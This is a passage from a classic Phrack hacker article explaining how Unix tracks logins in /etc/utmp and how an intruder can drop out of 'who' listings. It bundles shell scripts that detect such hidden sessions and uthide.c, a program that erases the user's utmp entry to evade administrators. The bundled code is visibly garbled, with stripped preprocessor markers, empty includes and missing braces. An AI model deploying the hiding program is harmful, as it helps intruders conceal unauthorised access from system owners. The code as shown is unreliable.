### == Phrack Inc. ==

Volume Three, Issue 25, File 6 of 11

### by BLACK TIE AFFAIR HTML-version by Markus Hübner

Under Unix, a user can see who's currently logged into the system with commands like 'who', 'finger' and 'w'. All these programs gather parts or all of their information by looking at the file /etc/utmp.

This file contains one record for each terminal connected to the system and activated for logins. The format of the record differs between the various Unix versions, but there are common fields which exist on every popular Unix descent: The name of the terminal device (ut_line) and the name of the user logged in on that line (ut_user).

Though the design of the Unix operating system is basically (!) consistent, this scheme shows some problems. The information whether a process is considered to be a terminal session is not kept in the process itself, but in a separate file. Thus, it is the duty of user mode programs to keep this file up to date, and gives an excellent point for a hacker to put his drill on. To be fair here, other operating systems have similar problems. But we're talking Unix currently.

There is another mechanism available under Unix, which can provide information about terminal sessions: The 'controlling tty'. The first terminal device a process opens becomes that process controlling tty. Unix uses this information internally to determine which processes should be signaled when the user types one of the signal generating keys (CTRL-C, CTRL-\ etc.) on the terminal. When such a character is encountered by the terminal driver, all processes which have this terminal device as controlling tty receive the signal corresponding to that character.

A process is not needingly an interactive session if it has a controlling tty, though. Any process which opens a terminal device (which could be a network process which uses a tty device for communication to another machine) has this terminal as it's controlling tty.

As such, it is good practice to cross-check the contents of the utmp file with all processes in the system which have a controlling tty. Two shell scripts which exactly do this on BSD and System V Unix systems are included at the end of this file. Both perform the same function: They use who(1) to get a list of the sessions mentioned in the utmp file, and ps(1) to get a list of all processes currently running. It outputs all processes which have a controlling tty but are not visible with who(1). A little flaw here is the fact that getty processes waiting on a terminal for someone to log in are displayed.

The family of 'who'-programs just scans the utmp-file for entries which belong to an active login session, and formats those records to be human-readable. The decision whether an entry corresponds to an active session is different under different Unix versions. Those who have the old utmp file format (System III, System 5R1, BSD) look at the ut_user field. If the first byte is non-null, the entry is considered to correspond to an active session. Under System 5 since release 2, the utmp structure has been enhanced to contain a type field (ut_type) which tells about the type of the entry. who(1) only displays a record, when the ut_type field contains the value USER_PROCESS (as defined in /usr/include/utmp.h). Other records are ignored unless the -a option is specified to who(1).

Being invisible to the who-family of programs gives some advantage to a hacker. He can stay in the system with a degraded risk of being discovered by a system manager who spies around. Of course, a system with a properly protected utmp file is not vulnerable to this kind of hide out, provided that the hacker didn't manage to get root access. For clearance, a little C program which demonstrates this kind of hideout is included in the shar file at the end of this article. Just compile and run it with proper permissions to see how to hide.

    ! /bin/sh
     This is a shell archive.  Remove anything before this line, then feed it
     into a shell via "sh file" or similar.  To overwrite existing files,
     type "sh file -c".
     The tool that generated this appeared in the comp.sources.unix newsgroup;
     send mail to comp-sources-unix@uunet.uu.net if you want that tool.
     If this archive is complete, you will see the following message at the end:
                   "End of shell archive."
     Contents:  check.bsd check.sysv uthide.c
    PATH=/bin:/usr/bin:/usr/ucb ; export PATH
    if test -f 'check.bsd' -a "$1" != "-c" ; then
      echo shar: Will not clobber existing file \"'check.bsd'\"
    else
    echo shar: Extracting \"'check.bsd'\" \(305 characters\)
    sed "s/^X//" >'check.bsd' <<'END_OF_FILE'
    X:
    X
    X(who ; echo "___" ; ps au) | awk '
    X              if ($0 == "___")
    X                       pslist = 1
    X                       next
    X
    X               if ( pslist )
    X                       if (ttys[$7] == 0)
    X                               print $0
    X
    X                else
    X                       if (substr($2, 0, 3) == "tty")
    X                               id = substr($2, 4, 2)
    X                               ttys[id] = 1
    X                        else
    X                               if ($2 == "console")
    X                                       ttys["co"] = 1
    X
    X
    X

    END_OF_FILE
    if test 306 -ne `wc -c <'check.bsd'`; then
        echo shar: \"'check.bsd'\" unpacked with wrong size!
    fi
     end of 'check.bsd'
    fi
    if test -f 'check.sysv' -a "$1" != "-c" ; then
      echo shar: Will not clobber existing file \"'check.sysv'\"
    else
    echo shar: Extracting \"'check.sysv'\" \(312 characters\)
    sed "s/^X//" >'check.sysv' <<'END_OF_FILE'
    X:
    X
    X(who ; echo "___" ; ps -fe) | awk '
    X              if ($0 == "___")
    X                       pslist = 1
    X                       next
    X
    X               if ( pslist )
    X                       if ($6 != "?" && ttys[$6] == 0)
    X                               print $0
    X
    X                else
    X                       if (substr($2, 0, 3) == "tty")
    X                               id = substr($2, 4, 2)
    X                               ttys[id] = 1
    X                        else
    X                               if ($2 == "console")
    X                                       ttys["co"] = 1
    X
    X

    END_OF_FILE
    if test 313 -ne `wc -c <'check.sysv'`; then
        echo shar: \"'check.sysv'\" unpacked with wrong size!
    fi
     end of 'check.sysv'
    fi
    if test -f 'uthide.c' -a "$1" != "-c" ; then
      echo shar: Will not clobber existing file \"'uthide.c'\"
    else
    echo shar: Extracting \"'uthide.c'\" \(1295 characters\)
    sed "s/^X//" >'uthide.c' <<'END_OF_FILE'
    X/* hide.c - needs write access to /etc/utmp */
    X
    Xinclude
    Xinclude
    Xinclude
    X
    Xdefine UTMP "/etc/utmp"
    X
    Xifndef INIT_PROCESS
    X/* this is some system with this useless utmp format.  we assume bsd, but
    X * it could well be system III or some other historic version.  but come
    X * on, guys -- go the modern way ;-)
    X */
    Xdefine        BSD
    Xendif
    X
    Xifdef BSD
    Xdefine        strrchr rindex
    Xelse
    Xdefine bzero(s,n) memset(s,'\0',n)
    Xendif
    X
    Xchar *
    Xbasename(path)
    X
    X       char    *path;
    X      char    *p, *strrchr();
    X
    X       return((path && (p = strrchr(path, '/'))) ? p+1 : path);
    X
    X
    Xmain()
    X
    X      struct  utmp    ut;
    X       int             fd;
    X       char            *strrchr();
    X       char            *ttyname(), *tty = basename(ttyname(0));
    X
    X       if (!tty)
    X               puts("not on a tty");
    X               exit(1);
    X
    X
    X       if ((fd = open(UTMP, O_RDWR)) < 0)
    X               perror(UTMP);
    X               exit(2);
    X
    X
    X       while (read(fd, &ut, sizeof(ut)) == sizeof(ut))
    X               if (!strncmp(ut.ut_line, tty, sizeof(ut.ut_line)))
    X                       bzero(ut.ut_name, sizeof(ut.ut_name));
    Xifndef BSD
    X                       ut.ut_type = INIT_PROCESS;
    X                       ut.ut_pid = 1;
    Xelse
    X                       bzero(ut.ut_host, sizeof(ut.ut_host));
    Xendif BSD
    X                       if (lseek(fd, -sizeof(ut), 1) < 0)
    X                               puts("seek error");
    X                               exit(3);
    X
    X                       if (write(fd, &ut, sizeof(ut)) != sizeof(ut))
    X                               puts("write error");
    X                               exit(4);
    X
    X                       exit(0);
    X
    X
    X
    X       puts("you don't exist");
    X       exit(5);
    X

    END_OF_FILE
    if test 1296 -ne `wc -c <'uthide.c'`; then
        echo shar: \"'uthide.c'\" unpacked with wrong size!
    fi
     end of 'uthide.c'
    fi
    echo shar: End of shell archive.
    exit 0

Back to the Security-Page